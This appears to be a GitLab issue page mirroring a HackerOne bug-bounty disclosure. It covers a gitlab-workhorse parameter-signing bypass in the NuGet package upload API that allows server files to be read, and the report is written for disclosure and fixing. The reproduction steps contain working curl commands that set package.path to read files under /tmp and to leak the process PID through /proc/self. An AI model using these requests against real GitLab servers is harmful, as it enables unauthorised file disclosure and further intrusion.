Skip to content

gitlab-workhorse bypass when uploading nuget packages

HackerOne report #835455 by vakzz on 2020-03-31, assigned to @ankelly:

Summary

When uploading a package via the nuget api, gitlab-workhorse is signing the file param but the package param is the one that ends up being used. This allows the package.path to be specified, similar to https://about.gitlab.com/blog/2020/03/30/how-to-exploit-parser-differentials/.

Steps to reproduce

  1. create a project
  2. make a call to the api with a dummy file upload, and set the package.path in the query params:
curl -XPUT -v -F file=@/tmp/lala.txt 'http://vakzz:$TOKEN@gitlab-vm.local/api/v4/projects/112/packages/nuget/?package.path=/tmp/ggg'  
  1. if /tmp/ggg was on the server it will now be accessible via the package list, eg http://gitlab-vm.local/vakzz/npm2/-/packages/56

Screen_Shot_2020-04-01_at_4.06.18_am.png

Impact

Any file in /tmp or /var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads could potentially be read.

It's also possible to get the current PID of the process with using a path of /proc/self as it gets resolved and returned in the error:

curl -XPUT -v -F file=@/tmp/lala.txt 'http://vakzz:$TOKEN@gitlab-vm.local/api/v4/projects/112/packages/nuget/?package.path=/proc/self'  
{"message":"insecure path used '/proc/32561'"}  

Quite a few things use the PID for creating files (eg golangs tempfile https://golang.org/src/io/ioutil/tempfile.go?s=1419:1477#L24) meaning it could be possible to determine other packages being uploaded (with some brute forcing) .

What is the current bug behavior?

The user has full control over the package.* params and gitlab believes they came from the workhorse

What is the expected correct behavior?

The package param should be signed and used instead of the file param

Output of checks

Results of GitLab environment info

System information  
System:     Ubuntu 18.04  
Proxy:      no  
Current User:   git  
Using RVM:  no  
Ruby Version:   2.6.5p114  
Gem Version:    2.7.10  
Bundler Version:1.17.3  
Rake Version:   12.3.3  
Redis Version:  5.0.7  
Git Version:    2.24.1  
Sidekiq Version:5.2.7  
Go Version: unknown

GitLab information  
Version:    12.9.1-ee  
Revision:   0ebcf602332  
Directory:  /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter: PostgreSQL  
DB Version: 10.12  
URL:        http://gitlab-vm.local  
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git  
SSH Clone URL:  git@gitlab-vm.local:some-group/some-project.git  
Elasticsearch:  no  
Geo:        no  
Using LDAP: no  
Using Omniauth: yes  
Omniauth Providers:

GitLab Shell  
Version:    12.0.0  
Repository storage paths:  
- default:  /var/opt/gitlab/git-data/repositories  
GitLab Shell path:      /opt/gitlab/embedded/service/gitlab-shell  
Git:        /opt/gitlab/embedded/bin/git  

Impact

Any file in /tmp or /var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads could potentially be read.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

Edited by Dennis Appelt